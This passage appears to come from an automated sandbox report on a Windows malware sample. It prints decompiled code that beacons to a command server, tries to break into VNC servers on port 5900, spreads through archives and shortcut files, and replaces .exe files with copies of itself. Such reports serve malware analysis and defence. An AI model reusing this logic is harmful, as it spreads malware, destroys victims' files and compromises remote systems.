				_v280 = InternetOpenA("Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:25.0) Gecko/20100101 Firefox/25.0", 0, 0, 0, 0);
				if(_v280 != 0) {
					_v8 = InternetOpenUrlA(_v280,  &_v276, 0, 0, 0, 0);
				}
				InternetCloseHandle(_v8);
				return InternetCloseHandle(_v280);
			}

0x00403262
0x0040326a
0x0040326d
0x00403272
0x0040327d
0x0040327e
0x00403299
0x004032a6
0x004032c3
0x004032c3
0x004032c9
0x004032dc

APIs

memset.MSVCRT ref: 00403262
_snprintf.MSVCRT ref: 0040327E
InternetOpenA.WININET(Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:25.0) Gecko/20100101 Firefox/25.0,00000000,00000000,00000000,00000000), ref: 00403293
InternetOpenUrlA.WININET(00000000,?,00000000,00000000,00000000,00000000), ref: 004032BD
InternetCloseHandle.WININET(?), ref: 004032C9
InternetCloseHandle.WININET(00000000), ref: 004032D5

Strings

Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:25.0) Gecko/20100101 Firefox/25.0, xrefs: 0040328E
%st.php?new=1, xrefs: 0040326D

Memory Dump Source

Source File: 00000001.00000002.324517495.00400000.00000040.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_vnc.jbxd

Similarity

API ID: Internet$CloseHandleOpen$_snprintfmemset
String ID: %st.php?new=1$Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:25.0) Gecko/20100101 Firefox/25.0
API String ID: 681744363-1636052401
Opcode ID: 4321ad40b70e1c94a6c9b90a8edfdabf4c66bfe9b4754fe93ef6a82f7335af7a
Instruction ID: 97927eca14e05837ded4659e66328206e70c76cd09e528b754a7f047d343dcb8
Opcode Fuzzy Hash: 4321ad40b70e1c94a6c9b90a8edfdabf4c66bfe9b4754fe93ef6a82f7335af7a
Instruction Fuzzy Hash: A4016270D4020CBBEB24AF50DD07FD87678AB04B04F1004F5B704B91D1D6B56B908F6A

Uniqueness

Uniqueness Score: 100.00%

Function 00403669, Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 92
comUNIQUE

C-Code - Quality: 73%

			E00403669(intOrPtr __eax, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20, intOrPtr _a24) {
				intOrPtr _v8;
				intOrPtr _v12;
				void* _v16;
				void* _v20;
				char* _t56;

				__imp__CoInitialize(0);
				_v12 = __eax;
				if(_v12 == 0 || _v12 == 1) {
					_t56 =  &_v16;
					__imp__CoCreateInstance(0x40723c, 0, 1, 0x40722c, _t56);
					_v8 = _t56;
					if(_v8 >= 0) {
						 *((intOrPtr*)( *_v16 + 0x50))(_v16, L"%windir%\\system32\\cmd.exe");
						 *((intOrPtr*)( *_v16 + 0x48))(_v16, _a4, 0);
						 *((intOrPtr*)( *_v16 + 0x24))(_v16, _a8);
						 *((intOrPtr*)( *_v16 + 0x1c))(_v16, _a12);
						 *((intOrPtr*)( *_v16 + 0x34))(_v16, _a24);
						 *((intOrPtr*)( *_v16 + 0x44))(_v16, _a16, _a20);
						 *((intOrPtr*)( *_v16 + 0x3c))(_v16, 7);
						 *((intOrPtr*)( *_v16 + 0x2c))(_v16, L"/c start _ & _\\DeviceManager.exe & exit");
						_v8 =  *((intOrPtr*)( *_v16))(_v16, 0x40724c,  &_v20);
						if(_v8 >= 0) {
							_v8 =  *((intOrPtr*)( *_v20 + 0x18))(_v20, _a4, 1);
							 *((intOrPtr*)( *_v20 + 8))(_v20);
						}
						 *((intOrPtr*)( *_v16 + 8))(_v16);
					}
					return _v8;
				} else {
					return _v12;
				}
			}

0x00403671
0x00403677
0x0040367e
0x0040368e
0x004036a0
0x004036a6
0x004036ad
0x004036c0
0x004036d0
0x004036de
0x004036ec
0x004036fa
0x0040370b
0x00403718
0x00403728
0x0040373e
0x00403745
0x00403757
0x00403762
0x00403762
0x0040376d
0x0040376d
0x00000000
0x00403686
0x00000000
0x00403686

APIs

CoInitialize.OLE32(00000000), ref: 00403671
CoCreateInstance.OLE32(0040723C,00000000,00000001,0040722C,?), ref: 004036A0

Strings

%windir%\system32\cmd.exe, xrefs: 004036B3
/c start _ & _\DeviceManager.exe & exit, xrefs: 0040371B

Memory Dump Source

Source File: 00000001.00000002.324517495.00400000.00000040.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_vnc.jbxd

Similarity

API ID: CreateInitializeInstance
String ID: %windir%\system32\cmd.exe$/c start _ & _\DeviceManager.exe & exit
API String ID: 3519745914-2217386832
Opcode ID: b90e5f5b8edce457020b71cdcedb84cad2d9a656d92e5b9accd175b782e8ef0b
Instruction ID: ab0d772bd2024923be40f94e1bd6ade439e0df5cc8d211e2d4934d0d5f14497f
Opcode Fuzzy Hash: b90e5f5b8edce457020b71cdcedb84cad2d9a656d92e5b9accd175b782e8ef0b
Instruction Fuzzy Hash: 87414B74A00208FFCB01DF98D989E9DBBB5FF09305F1081A6F911AB2A1C775AA50DF55

Uniqueness

Uniqueness Score: 100.00%

Function 004139C0, Relevance: 6.0, APIs: 4, Instructions: 49COMMON

APIs

__cftof_l.LIBCMT ref: 004139E6

Part of subcall function 0041380B: __fltout2.LIBCMT ref: 00413837
Part of subcall function 0041380B: __fptostr.LIBCMT ref: 00413892
Part of subcall function 0041380B: __cftof2_l.LIBCMT ref: 004138AF

__cftog_l.LIBCMT ref: 00413A0C

Part of subcall function 004138C6: __fltout2.LIBCMT ref: 004138F2
Part of subcall function 004138C6: __fptostr.LIBCMT ref: 00413949
Part of subcall function 004138C6: __cftof2_l.LIBCMT ref: 0041398B
Part of subcall function 004138C6: __cftoe2_l.LIBCMT ref: 004139A9

__cftoa_l.LIBCMT ref: 00413A25

Part of subcall function 004133A1: __cftoe.LIBCMT ref: 00413460
Part of subcall function 004133A1: _strrchr.LIBCMT ref: 004134A5
Part of subcall function 004133A1: __alldvrm.LIBCMT ref: 0041369A
Part of subcall function 004133A1: __alldvrm.LIBCMT ref: 004136C0
Part of subcall function 004133A1: __alldvrm.LIBCMT ref: 004136E6

__cftoe_l.LIBCMT ref: 00413A3E

Part of subcall function 004132B1: __fltout2.LIBCMT ref: 004132DD
Part of subcall function 004132B1: __fptostr.LIBCMT ref: 00413349
Part of subcall function 004132B1: __cftoe2_l.LIBCMT ref: 0041336A

Memory Dump Source

Source File: 00000001.00000001.309020421.0040D000.00000020.sdmp, Offset: 0040D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_1_40d000_vnc.jbxd

Similarity

API ID: __alldvrm__fltout2__fptostr$__cftoe2_l__cftof2_l$__cftoa_l__cftoe__cftoe_l__cftof_l__cftog_l_strrchr
String ID:
API String ID: 2916730570-0
Opcode ID: bfaf9c04f800815b6471d517da42daec28121d5ec88fca071302ba537a085f53
Instruction ID: 8546ce1d98dbb9bc63335d1028909b0dafdd7bac1f0b556e445c1aad64e8933c
Opcode Fuzzy Hash: bfaf9c04f800815b6471d517da42daec28121d5ec88fca071302ba537a085f53
Instruction Fuzzy Hash: F811923240004EBBCF125F85DC01CEE3F66BF18395B588416FE5859131D73ACAB2AB89

Uniqueness

Uniqueness Score: 3.53%

Function 00412B67, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 58UNIQUE

APIs

VirtualQuery.KERNEL32(00000000,00000000,00000000,?), ref: 00412BC9
RaiseException.KERNEL32(00000000,00000000,00000000,00000000), ref: 00412BE1

Strings

VirtualAlloc, xrefs: 00412BCF

Memory Dump Source

Source File: 00000001.00000001.309020421.0040D000.00000020.sdmp, Offset: 0040D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_1_40d000_vnc.jbxd

Similarity

API ID: ExceptionQueryRaiseVirtual
String ID: VirtualAlloc
API String ID: 1696120375-164498762
Opcode ID: d116109981916531699c92b386ab4520f1965e0cd390000dda45b0b2fe18910c
Instruction ID: 0fc0153c45b57d5202533546e6c51e85dddc66d0ec059ce193bc8f8f33732c09
Opcode Fuzzy Hash: d116109981916531699c92b386ab4520f1965e0cd390000dda45b0b2fe18910c
Instruction Fuzzy Hash: C31102B1F0AA505EE3609F299C407B2FBA8E714371F44143AEC89C3211C6BC58D287AC

Uniqueness

Uniqueness Score: 100.00%

Analysis Process: winsvcs.exe PID: 3260 Parent PID: 3232winsvcs.exeUNIQUE

Execution Graph

Execution Coverage:	14.5%
Dynamic/Decrypted Code Coverage:	3.6%
Signature Coverage:	26.4%
Total number of Nodes:	777
Total number of Limit Nodes:	23

Executed Functions

Function 00401B06, Relevance: 100.4, APIs: 53, Strings: 4, Instructions: 684
sleepnetworkstringUNIQUECrypto

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 55%

			E00401B06(signed int __ecx, intOrPtr _a4, char* _a8) {
				signed int _v8;
				signed int _v12;
				intOrPtr _v16;
				char _v20;
				char _v24;
				char _v40;
				char _v44;
				char _v56;
				signed int _v60;
				signed int _v64;
				signed int _v68;
				intOrPtr _v80;
				short _v82;
				char _v84;
				char _v88;
				signed int _v92;
				signed int _v100;
				signed int _v102;
				signed int _v104;
				signed int _v110;
				signed int _v112;
				signed int _v116;
				signed int _v124;
				signed int _v126;
				signed int _v128;
				signed int _v134;
				signed int _v136;
				char _v396;
				char _v404;
				signed int _v408;
				signed int _v416;
				signed int _v418;
				signed int _v420;
				signed int _v426;
				signed int _v428;
				signed int _v432;
				signed int _v436;
				intOrPtr* _v440;
				intOrPtr _v444;
				char _v445;
				intOrPtr _v452;
				signed int _v456;
				short _t214;
				char* _t215;
				void* _t217;
				int _t221;
				void* _t225;
				void* _t227;
				void* _t275;
				void* _t293;
				void* _t295;
				short _t345;
				void* _t347;
				void* _t349;
				void* _t351;
				void* _t443;
				void* _t512;
				void* _t513;
				void* _t514;
				void* _t515;
				void* _t516;
				void* _t517;
				void* _t523;
				void* _t524;
				void* _t525;
				void* _t531;
				void* _t532;

				_t405 = __ecx;
				_v8 = _v8 & 0x00000000;
				_v12 = 1;
				while(1 != 0) {
					__imp__#23(2, 1, 0); // executed
					_v64 = 1;
					if(_v64 == 0xffffffff) {
						__imp__#3(_v64);
						return 0;
					}
					__imp__#11(_a4);
					_v80 = 1;
					_t214 = 2;
					_v84 = _t214;
					__imp__#9(0x170c);
					_v82 = _t214;
					_t215 =  &_v84;
					__imp__#4(_v64, _t215, 0x10); // executed
					_v16 = _t215;
					if(_v16 == 0xffffffff) {
						__imp__#3(_v64);
						return 0;
					}
					_t217 = E004016C7(_t405, _v64,  &_v56, 0xc); // executed
					_t514 = _t513 + 0xc;
					if(_t217 == 0) {
						__imp__#3(_v64); // executed
						return 0;
					}
					_v44 = 0;
					_t221 = sscanf( &_v56, "RFB %03d.%03d\n",  &_v24,  &_v20);
					_t515 = _t514 + 0x10;
					if(_t221 != 2) {
						__imp__#3(_v64);
						return 0;
					}
					if(_v24 == 3 && _v20 < 3) {
						__imp__#3(_v64);
						return 0;
					}
					if(_v24 != 3 || _v20 != 8 || _v12 == 0) {
						sprintf( &_v56, "RFB %03d.%03d\n", 3, 5);
						_t516 = _t515 + 0x10;
						_v12 = _v12 & 0x00000000;
					} else {
						sprintf( &_v56, "RFB %03d.%03d\n", 3, 8);
						_t516 = _t515 + 0x10;
					}
					_t225 = E00401670(_t405, _v64,  &_v56, 0xc); // executed
					_t517 = _t516 + 0xc;
					if(_t225 == 0) {
						__imp__#3(_v64);
						return 0;
					}
					if(_v12 == 0) {
						_t227 = E004016C7(_t405, _v64,  &_v68, 4); // executed
						_t513 = _t517 + 0xc;
						if(_t227 == 0) {
							__imp__#3(_v64);
							return 0;
						}
						_t405 = (_v68 & 0x000000ff) << 0x18;
						_v68 = (_v68 & 0xff000000) >> 0x00000018 | (_v68 & 0x00ff0000) >> 0x00000008 | (_v68 & 0x0000ff00) << 0x00000008 | (_v68 & 0x000000ff) << 0x00000018;
						_v436 = _v68;
						if(_v436 == 0) {
							__imp__#3(_v64);
							_v8 = _v8 + 1;
							if(_v8 == 2) {
								return 0;
							}
							Sleep(0x7d0); // executed
						} else {
							if(_v436 == 1) {
								if(E00401670(_t405, _v64, 0x407508, 1) != 0 && E004016C7(_t405, _v64,  &_v136, 0x18) != 0) {
									_v136 = (_v136 & 0xff) << 0x00000008 | (_v136 & 0x0000ffff) >> 0x00000008 & 0x000000ff;
									_v134 = (_v134 & 0xff) << 0x00000008 | (_v134 & 0x0000ffff) >> 0x00000008 & 0x000000ff;
									_v128 = (_v128 & 0xff) << 0x00000008 | (_v128 & 0x0000ffff) >> 0x00000008 & 0x000000ff;
									_v126 = (_v126 & 0xff) << 0x00000008 | (_v126 & 0x0000ffff) >> 0x00000008 & 0x000000ff;
									_v124 = (_v124 & 0xff) << 0x00000008 | (_v124 & 0x0000ffff) >> 0x00000008 & 0x000000ff;
									_v116 = (_v116 & 0xff000000) >> 0x00000018 | (_v116 & 0x00ff0000) >> 0x00000008 | (_v116 & 0x0000ff00) << 0x00000008 | (_v116 & 0x000000ff) << 0x00000018;
									Sleep(0x3e8);
									E00401971(_v64);
									Sleep(0x7d0);
									E00401717(_v64, 0, 0, 1);
									Sleep(0x7d0);
									E00401971(_v64);
									Sleep(0x7d0);
									E00401717(_v64, 1, 0, 0);
									Sleep(0x7d0);
									E00401717(_v64, 0, 1, 0);
									Sleep(0x3e8);
								}
								__imp__#3(_v64);
								return 1;
							}
							if(_v436 != 2) {
								__imp__#3(_v64);
								return 0;
							}
							_t275 = E004016C7(_t405, _v64,  &_v40, 0x10);
							_t523 = _t513 + 0xc;
							if(_t275 == 0) {
								__imp__#3(_v64);
								return 0;
							}
							strncpy( &_v396, _a8, 0xff);
							_t524 = _t523 + 0xc;
							_v440 =  &_v396;
							_v444 = _v440 + 1;
							do {
								_v445 =  *_v440;
								_v440 = _v440 + 1;
							} while (_v445 != 0);
							_v452 = _v440 - _v444;
							 *((char*)(_t512 + _v452 - 0x188)) = 0;
							E004019E6( &_v404,  &_v396);
							E00401A68( &_v40,  &_v396);
							_pop(_t443);
							_t293 = E00401670(_t443, _v64,  &_v40, 0x10);
							_t525 = _t524 + 0xc;
							if(_t293 == 0) {
								__imp__#3(_v64);
								return 0;
							}
							_t295 = E004016C7(_t443, _v64,  &_v60, 4);
							_t513 = _t525 + 0xc;
							if(_t295 == 0) {
								__imp__#3(_v64);
								return 0;
							}
							_t405 = (_v60 & 0x000000ff) << 0x18;
							_v60 = (_v60 & 0xff000000) >> 0x00000018 | (_v60 & 0x00ff0000) >> 0x00000008 | (_v60 & 0x0000ff00) << 0x00000008 | (_v60 & 0x000000ff) << 0x00000018;
							_v456 = _v60;
							if(_v456 == 0) {
								if(E00401670(_t405, _v64, 0x40750c, 1) != 0 && E004016C7(_t405, _v64,  &_v428, 0x18) != 0) {
									_v428 = (_v428 & 0xff) << 0x00000008 | (_v428 & 0x0000ffff) >> 0x00000008 & 0x000000ff;
									_v426 = (_v426 & 0xff) << 0x00000008 | (_v426 & 0x0000ffff) >> 0x00000008 & 0x000000ff;
									_v420 = (_v420 & 0xff) << 0x00000008 | (_v420 & 0x0000ffff) >> 0x00000008 & 0x000000ff;
									_v418 = (_v418 & 0xff) << 0x00000008 | (_v418 & 0x0000ffff) >> 0x00000008 & 0x000000ff;
									_v416 = (_v416 & 0xff) << 0x00000008 | (_v416 & 0x0000ffff) >> 0x00000008 & 0x000000ff;
									_v408 = (_v408 & 0xff000000) >> 0x00000018 | (_v408 & 0x00ff0000) >> 0x00000008 | (_v408 & 0x0000ff00) << 0x00000008 | (_v408 & 0x000000ff) << 0x00000018;
									Sleep(0x3e8);
									E00401971(_v64);
									Sleep(0x7d0);
									E00401717(_v64, 0, 0, 1);
									Sleep(0x7d0);
									E00401971(_v64);
									Sleep(0x7d0);
									E00401717(_v64, 1, 0, 0);
									Sleep(0x7d0);
									E00401717(_v64, 0, 1, 0);
									Sleep(0x3e8);
								}
								__imp__#3(_v64);
								return 1;
							}
							if(_v456 != 1) {
								__imp__#3(_v64);
								return 0;
							}
							_v8 = _v8 & 0x00000000;
							__imp__#3(_v64);
							Sleep(0xbb8);
						}
					} else {
						_v12 = _v12 & 0x00000000;
						_t345 =  *0x407500; // 0x1
						_v88 = _t345;
						_t347 = E004016C7(_t405, _v64,  &_v68, 2);
						_t531 = _t517 + 0xc;
						if(_t347 == 0) {
							__imp__#3(_v64);
							return 0;
						}
						_t349 = E00401670(_t405, _v64,  &_v88, 1);
						_t532 = _t531 + 0xc;
						if(_t349 == 0) {
							__imp__#3(_v64);
							return 0;
						}
						_t351 = E004016C7(_t405, _v64,  &_v60, 4);
						_t513 = _t532 + 0xc;
						if(_t351 == 0) {
							__imp__#3(_v64);
						} else {
							_t405 = (_v60 & 0x000000ff) << 0x18;
							_v60 = (_v60 & 0xff000000) >> 0x00000018 | (_v60 & 0x00ff0000) >> 0x00000008 | (_v60 & 0x0000ff00) << 0x00000008 | (_v60 & 0x000000ff) << 0x00000018;
							_v432 = _v60;
							if(_v432 == 0) {
								if(E00401670(_t405, _v64, 0x407504, 1) != 0 && E004016C7(_t405, _v64,  &_v112, 0x18) != 0) {
									_v112 = (_v112 & 0xff) << 0x00000008 | (_v112 & 0x0000ffff) >> 0x00000008 & 0x000000ff;
									_v110 = (_v110 & 0xff) << 0x00000008 | (_v110 & 0x0000ffff) >> 0x00000008 & 0x000000ff;
									_v104 = (_v104 & 0xff) << 0x00000008 | (_v104 & 0x0000ffff) >> 0x00000008 & 0x000000ff;
									_v102 = (_v102 & 0xff) << 0x00000008 | (_v102 & 0x0000ffff) >> 0x00000008 & 0x000000ff;
									_v100 = (_v100 & 0xff) << 0x00000008 | (_v100 & 0x0000ffff) >> 0x00000008 & 0x000000ff;
									_v92 = (_v92 & 0xff000000) >> 0x00000018 | (_v92 & 0x00ff0000) >> 0x00000008 | (_v92 & 0x0000ff00) << 0x00000008 | (_v92 & 0x000000ff) << 0x00000018;
									Sleep(0x3e8);
									E00401971(_v64);
									Sleep(0x7d0);
									E00401717(_v64, 0, 0, 1);
									Sleep(0x7d0);
									E00401971(_v64);
									Sleep(0x7d0);
									E00401717(_v64, 1, 0, 0);
									Sleep(0x7d0);
									E00401717(_v64, 0, 1, 0);
									Sleep(0x3e8);
								}
								__imp__#3(_v64);
								return 1;
							}
							__imp__#3(_v64);
						}
						Sleep(0x1388);
					}
					if(_v64 != 0xffffffff) {
						__imp__#22(_v64, 2); // executed
						__imp__#3(_v64); // executed
						_v64 = _v64 | 0xffffffff;
					}
					Sleep(0x3e8); // executed
				}
				return 1;
			}

APIs

socket.WS2_32(00000002,00000001,00000000), ref: 00401B29
closesocket.WS2_32(000000FF), ref: 00401B3B
inet_addr.WS2_32(00000001), ref: 00401B4B
htons.WS2_32(0000170C), ref: 00401B60
connect.WS2_32(000000FF,?,00000010), ref: 00401B73
closesocket.WS2_32(000000FF), ref: 00401B85

Part of subcall function 004016C7: recv.WS2_32(?,00000000,00000000,00000000), ref: 004016E5

closesocket.WS2_32(000000FF), ref: 00401BAA
sscanf.MSVCRT ref: 00401BCC
closesocket.WS2_32(000000FF), ref: 00401BDC
closesocket.WS2_32(000000FF), ref: 00401BF8
sprintf.MSVCRT ref: 00401C24
sprintf.MSVCRT ref: 00401C3B

Part of subcall function 00401670: send.WS2_32(?,00000000,00000000,00000000), ref: 0040169E

closesocket.WS2_32(000000FF), ref: 00401C5F
closesocket.WS2_32(000000FF), ref: 00401C9C
closesocket.WS2_32(000000FF), ref: 00401CC1
Sleep.KERNEL32(000003E8), ref: 00401E41
Sleep.KERNEL32(000007D0), ref: 00401E55
Sleep.KERNEL32(000007D0), ref: 00401E71
Sleep.KERNEL32(000007D0), ref: 00401E85
Sleep.KERNEL32(000007D0), ref: 00401EA1
Sleep.KERNEL32(000003E8), ref: 00401EBD
closesocket.WS2_32(000000FF), ref: 00401EC6
closesocket.WS2_32(000000FF), ref: 00401ED7
closesocket.WS2_32(000000FF), ref: 00401EE2
Sleep.KERNEL32(00001388), ref: 00401EED
closesocket.WS2_32(000000FF), ref: 00401F10
closesocket.WS2_32(000000FF), ref: 00401F85
Sleep.KERNEL32(000007D0), ref: 00401FA4
Sleep.KERNEL32(000003E8), ref: 004020CF
Sleep.KERNEL32(000003E8), ref: 0040240B

Part of subcall function 00401971: Sleep.KERNEL32(000001F4,?,?,?,?,004020DD,000000FF), ref: 004019AF
Part of subcall function 00401971: Sleep.KERNEL32(000001F4,?,?,?,?,?,?,?,004020DD,000000FF), ref: 004019CB

Sleep.KERNEL32(000007D0), ref: 004020E3
Sleep.KERNEL32(000007D0), ref: 0040241F

Part of subcall function 00401717: Sleep.KERNEL32(00000023,?,?,?,?), ref: 004017F6
Part of subcall function 00401717: Sleep.KERNEL32(00000023,?,?,?,?), ref: 0040189A
Part of subcall function 00401717: Sleep.KERNEL32(00000023,?,?,?,?), ref: 0040193E
Part of subcall function 00401717: Sleep.KERNEL32(000001F4,?,?), ref: 0040194E

Sleep.KERNEL32(000007D0), ref: 004020FF
Sleep.KERNEL32(000007D0), ref: 00402113
Sleep.KERNEL32(000007D0), ref: 0040212F
Sleep.KERNEL32(000003E8), ref: 0040214B
closesocket.WS2_32(000000FF), ref: 00402154
closesocket.WS2_32(000000FF), ref: 0040217A
strncpy.MSVCRT ref: 00402196
closesocket.WS2_32(000000FF), ref: 00402233
closesocket.WS2_32(000000FF), ref: 00402258
Sleep.KERNEL32(000007D0), ref: 0040243B
Sleep.KERNEL32(000007D0), ref: 0040244F
Sleep.KERNEL32(000007D0), ref: 0040246B
Sleep.KERNEL32(000003E8), ref: 00402487
closesocket.WS2_32(000000FF), ref: 00402490
closesocket.WS2_32(000000FF), ref: 004024A2
Sleep.KERNEL32(00000BB8), ref: 004024AD
closesocket.WS2_32(000000FF), ref: 004024B8
closesocket.WS2_32(000000FF), ref: 004024C7
shutdown.WS2_32(000000FF,00000002), ref: 004024DC
closesocket.WS2_32(000000FF), ref: 004024E5
Sleep.KERNEL32(000003E8), ref: 004024F4

Strings

RFB %03d.%03d, xrefs: 00401C1B
w&@, xrefs: 00401BBB
RFB %03d.%03d, xrefs: 00401C32
RFB %03d.%03d, xrefs: 00401BC3

Memory Dump Source

Source File: 00000002.00000002.627197202.00400000.00000040.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_winsvcs.jbxd

Similarity

API ID: Sleep$closesocket$sprintf$connecthtonsinet_addrrecvsendshutdownsocketsscanfstrncpy
String ID: RFB %03d.%03d$RFB %03d.%03d$RFB %03d.%03d$w&@
API String ID: 392817388-3349952257
Opcode ID: 1b49c88c46710ddabfc7d32f871b4bce98c74f89ee943e2f6fddd1f12d16aa07
Instruction ID: e91506da21e7de93ef7d6e04e18f985382bf20e5135614ed1a251b89057a06e7
Opcode Fuzzy Hash: 1b49c88c46710ddabfc7d32f871b4bce98c74f89ee943e2f6fddd1f12d16aa07
Instruction Fuzzy Hash: CF42D231D14219ABEB289B90ED0ABFCBBB0EF05301F14407AF616F52E1DBB95950DB19

Uniqueness

Uniqueness Score: 100.00%

Function 0040565A, Relevance: 54.5, APIs: 20, Strings: 11, Instructions: 205
sleepfileUNIQUE

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E0040565A() {
				WCHAR* _v8;
				struct _WIN32_FIND_DATAW _v604;
				void* _v608;
				short _v1132;
				short _v1652;
				signed int _v1656;
				WCHAR* _v1660;
				intOrPtr* _v1664;
				short* _v1668;
				intOrPtr _v1672;
				short _v1674;
				void* _t64;
				int _t67;
				long _t70;
				int _t120;
				void* _t140;
				void* _t142;

				_v8 = _v8 & 0x00000000;
				memset( &_v1652, 0, 0x208);
				memset( &_v1132, 0, 0x208);
				_t142 = _t140 + 0x18;
				_t64 = FindFirstFileW(L"*.*",  &_v604); // executed
				_v608 = _t64;
				if(_v608 != 0xffffffff) {
					do {
						if((_v604.cFileName & 0x0000ffff) == 0x2e) {
							goto L26;
						}
						_t70 = _v604.dwFileAttributes & 0x00000010;
						_v604.dwFileAttributes = _t70;
						if(_t70 == 0) {
							if(GetFullPathNameW( &(_v604.cFileName), 0x104,  &_v1132,  &_v8) != 0 && E00401000( &_v1132, L"Recycle.Bin") == 0) {
								_v1664 =  &_v1132;
								_v1668 =  &_v1652;
								_v1672 = _v1668;
								do {
									_v1674 =  *_v1664;
									 *_v1668 = _v1674;
									_v1664 = _v1664 + 2;
									_v1668 = _v1668 + 2;
								} while (_v1674 != 0);
								CharLowerW( &_v1652);
								if(E00401000( &_v1652, L".zip") != 0) {
									E004032DD("C:\Users\LUKETA~1\AppData\Local\Temp\Windows Archive Manager.exe",  &_v1132);
									Sleep(0x3e8);
								}
								if(E00401000( &_v1652, L".rar") != 0) {
									E00402807( &_v1132, "C:\Users\LUKETA~1\AppData\Local\Temp\Windows Archive Manager.exe", "Windows Archive Manager.exe", 0x80); // executed
									_t142 = _t142 + 0x10;
									Sleep(0x3e8);
								}
								if(E00401000( &_v1652, L".7z") != 0) {
									E00402807( &_v1132, "C:\Users\LUKETA~1\AppData\Local\Temp\Windows Archive Manager.exe", "Windows Archive Manager.exe", 0x80);
									_t142 = _t142 + 0x10;
									Sleep(0x3e8);
								}
								if(E00401000( &_v1652, L".tar") != 0) {
									E00402807( &_v1132, "C:\Users\LUKETA~1\AppData\Local\Temp\Windows Archive Manager.exe", "Windows Archive Manager.exe", 0x80);
									_t142 = _t142 + 0x10;
									Sleep(0x3e8);
								}
								_v1656 = _v1656 & 0x00000000;
								while(_v1656 < 8) {
									if(E00401000( &_v1652,  *((intOrPtr*)(0x40a09c + _v1656 * 4))) != 0) {
										_v1660 = PathFindFileNameW( &_v1652);
										if(_v1660 != 0 && E00401000(_v1660, L".exe") != 0) {
											SetFileAttributesW(_v1660, 0x80);
											DeleteFileW(_v1660);
											Sleep(0x1f4);
											CopyFileW("C:\Users\LUKETA~1\AppData\Local\Temp\Windows Archive Manager.exe",  &_v1132, 0);
										}
									}
									Sleep(0x64); // executed
									_v1656 = _v1656 + 1;
								}
							}
							goto L26;
						}
						_t120 = SetCurrentDirectoryW( &(_v604.cFileName)); // executed
						if(_t120 == 1) {
							E0040565A(); // executed
							SetCurrentDirectoryW(L".."); // executed
						}
						L26:
						Sleep(0x64); // executed
						_t67 = FindNextFileW(_v608,  &_v604); // executed
					} while (_t67 != 0);
					return FindClose(_v608);
				}
				return _t64;
			}

0x00405663
0x00405675
0x0040568b
0x00405690
0x0040569f
0x004056a5
0x004056b2
0x004056b8
0x004056c2
0x00000000
0x00000000
0x004056ce
0x004056d1
0x004056d7
0x0040571f
0x00405746
0x00405752
0x0040575e
0x00405764
0x0040576d
0x00405781
0x0040578c
0x0040579a
0x004057a0
0x004057b1
0x004057cc
0x004057da
0x004057e6
0x004057e6
0x00405801
0x00405819
0x0040581e
0x00405826
0x00405826
0x00405841
0x00405859
0x0040585e
0x00405866
0x00405866
0x00405881
0x00405899
0x0040589e
0x004058a6
0x004058a6
0x004058ac
0x004058c2
0x004058ec
0x004058fb
0x00405908
0x0040592b
0x00405937
0x00405942
0x00405956
0x00405956
0x00405908
0x0040595e
0x004058bc
0x004058bc
0x004058c2
0x00000000
0x0040571f
0x004056e0
0x004056e9
0x004056eb
0x004056f5
0x004056f5
0x00405969
0x0040596b
0x0040597e
0x00405984
0x00000000
0x00405992
0x00405999

APIs

memset.MSVCRT ref: 00405675
memset.MSVCRT ref: 0040568B
FindFirstFileW.KERNEL32(*.*,?), ref: 0040569F
SetCurrentDirectoryW.KERNEL32(?), ref: 004056E0

Part of subcall function 0040565A: SetCurrentDirectoryW.KERNEL32(00408834), ref: 004056F5

GetFullPathNameW.KERNEL32(?,00000104,?,00000000), ref: 00405717
FindClose.KERNEL32(000000FF), ref: 00405992

Part of subcall function 00401000: wcsstr.MSVCRT ref: 00401009

CharLowerW.USER32(?), ref: 004057B1
CopyFileW.KERNEL32(C:\Users\user~1\AppData\Local\Temp\Windows Archive Manager.exe,?,00000000), ref: 00405956

Part of subcall function 004032DD: CoInitialize.OLE32(00000000), ref: 004032EB
Part of subcall function 004032DD: CoCreateInstance.OLE32(0040726C,00000000,00000001,0040725C,?), ref: 00403303
Part of subcall function 004032DD: VariantInit.OLEAUT32(?), ref: 0040331A
Part of subcall function 004032DD: VariantInit.OLEAUT32(?), ref: 00403355
Part of subcall function 004032DD: VariantInit.OLEAUT32(?), ref: 0040336C
Part of subcall function 004032DD: Sleep.KERNEL32(000003E8), ref: 004033AB
Part of subcall function 004032DD: CoUninitialize.OLE32 ref: 004033C7

Sleep.KERNEL32(000003E8), ref: 004057E6
Sleep.KERNEL32(000003E8), ref: 00405826
Sleep.KERNEL32(000003E8), ref: 00405866
Sleep.KERNEL32(00000064), ref: 0040595E

Part of subcall function 00402807: CreateFileW.KERNEL32(?,80000000,00000001,00000000,00000003,00000080,00000000), ref: 004028E4
Part of subcall function 00402807: GetFileSize.KERNEL32(000000FF,00000000), ref: 00402908
Part of subcall function 00402807: CloseHandle.KERNEL32(000000FF), ref: 00402923
Part of subcall function 00402807: CreateFileW.KERNEL32(?,40000000,00000001,00000000,00000003,00000080,00000000), ref: 00402945
Part of subcall function 00402807: GetFileSize.KERNEL32(?,00000000), ref: 00402959
Part of subcall function 00402807: CloseHandle.KERNEL32(000000FF), ref: 00402974
Part of subcall function 00402807: CloseHandle.KERNEL32(?), ref: 00402980
Part of subcall function 00402807: SetFilePointer.KERNEL32(?,000000F8,00000000,00000000), ref: 004029A1
Part of subcall function 00402807: CreateFileMappingA.KERNEL32(000000FF,00000000,00000002,00000000,00000000,00000000), ref: 004029B7
Part of subcall function 00402807: CloseHandle.KERNEL32(000000FF), ref: 004029D2
